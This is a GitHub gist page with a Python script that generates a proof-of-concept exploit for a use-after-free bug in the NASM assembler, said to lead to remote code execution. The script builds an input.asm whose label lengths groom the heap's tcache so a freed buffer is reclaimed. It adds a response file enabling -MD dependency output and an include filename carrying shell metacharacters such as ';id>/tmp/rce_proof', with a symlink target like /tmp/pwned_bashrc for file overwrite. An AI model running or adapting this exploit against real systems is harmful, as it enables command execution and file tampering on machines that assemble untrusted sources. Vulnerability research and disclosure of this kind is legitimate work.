Skip to content

Instantly share code, notes, and snippets.

@BreakingBad6
Created May 18, 2026 14:41
Show Gist options
  • Select an option

  • Save BreakingBad6/e1403ee302013836ebb87913be63d398 to your computer and use it in GitHub Desktop.

Select an option

Save BreakingBad6/e1403ee302013836ebb87913be63d398 to your computer and use it in GitHub Desktop.
nasm rce
#!/usr/bin/env python3
# gen_poc.py - NASM UAF->RCE PoC generator (Issue #222)
import argparse
import os
import sys
# strlen 120 -> malloc(121) -> chunk 0x90, same tcache bin as freed buffer
TARGET_STRLEN = 120
def make_label(prefix, pad_char, target_len=TARGET_STRLEN):
need = target_len - len(prefix)
if need < 0:
raise ValueError(f"Prefix '{prefix}' ({len(prefix)}) > target {target_len}")
return prefix + pad_char * need
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--drain", type=int, default=8,
help="drain label count before payload")
parser.add_argument("--target", default="/tmp/pwned_bashrc",
help="file write target path (symlink destination)")
parser.add_argument("--payload-name", default=None,
help="payload label/symlink name (auto if not set)")
parser.add_argument("--shell-inject", default=None,
help="shell metachar include filename (e.g. ';id>/tmp/rce_proof')")
parser.add_argument("--outdir", default=".",
help="output directory for generated files")
parser.add_argument("-q", "--quiet", action="store_true",
help="suppress output")
args = parser.parse_args()
if args.payload_name:
payload_name = args.payload_name
else:
payload_name = make_label("UAF_PAYLOAD_", "X")
if not args.quiet:
print(f"[*] Config:")
print(f" drain labels = {args.drain}")
print(f" payload label = {payload_name} (len={len(payload_name)})")
print(f" symlink target = {args.target}")
print(f" chunk size = 0x{((len(payload_name)+1+8+15) & ~0xF):x}")
print()
cs = (len(payload_name) + 1 + 8 + 15) & ~0xF
assert cs == 0x90, f"chunk 0x{cs:x} != 0x90"
# -- input.asm --
lines = []
lines.append("; NASM UAF RCE PoC")
lines.append("")
lines.append(" BITS 64")
lines.append(" default rel")
lines.append("")
lines.append("section .text")
lines.append(" global _start")
lines.append("")
lines.append("_start:")
# drain: consume tcache 0x90 entries so payload lands on freed buffer
lines.append("")
pad_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
for i in range(args.drain):
c = pad_chars[i % len(pad_chars)]
label = make_label(f"drain_{i:02d}_", c)
assert len(label) == TARGET_STRLEN, f"drain label len={len(label)}"
lines.append(f"{label}:")
# off-by-one: buffer reclaims at N+1, skip absorbs it
skip_label = make_label("skip_pre_payload_", "Z")
assert len(skip_label) == TARGET_STRLEN
lines.append("")
lines.append(f"{skip_label}:")
# payload strdup() reclaims freed buffer -> depend_file points here
lines.append("")
lines.append(f"{payload_name}:")
lines.append("")
for i in range(4):
c = pad_chars[(args.drain + 2 + i) % len(pad_chars)]
label = make_label(f"extra_{i:02d}_", c)
assert len(label) == TARGET_STRLEN
lines.append(f"{label}:")
# %include filename with shell metachar -> unescaped in dep output -> RCE
lines.append("")
if args.shell_inject:
lines.append(f'%include "{args.shell_inject}"')
else:
lines.append('%include "shell_inject.asm"')
lines.append("")
lines.append(" xor eax, eax")
lines.append(" ret")
asm_content = "\n".join(lines) + "\n"
with open(os.path.join(args.outdir, "input.asm"), "w", newline='\n', encoding='utf-8') as f:
f.write(asm_content)
if not args.quiet:
print(f"[+] Generated input.asm ({len(lines)} lines)")
# -- resp.txt: -MD sets depend_file -> points into buffer -> UAF --
resp = "-MD\ndummy\n"
with open(os.path.join(args.outdir, "resp.txt"), "w", newline='\n') as f:
f.write(resp)
if not args.quiet:
print(f"[+] Generated resp.txt")
if not args.quiet:
print(f"[+] Done. Generated input.asm + resp.txt in {args.outdir}")
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment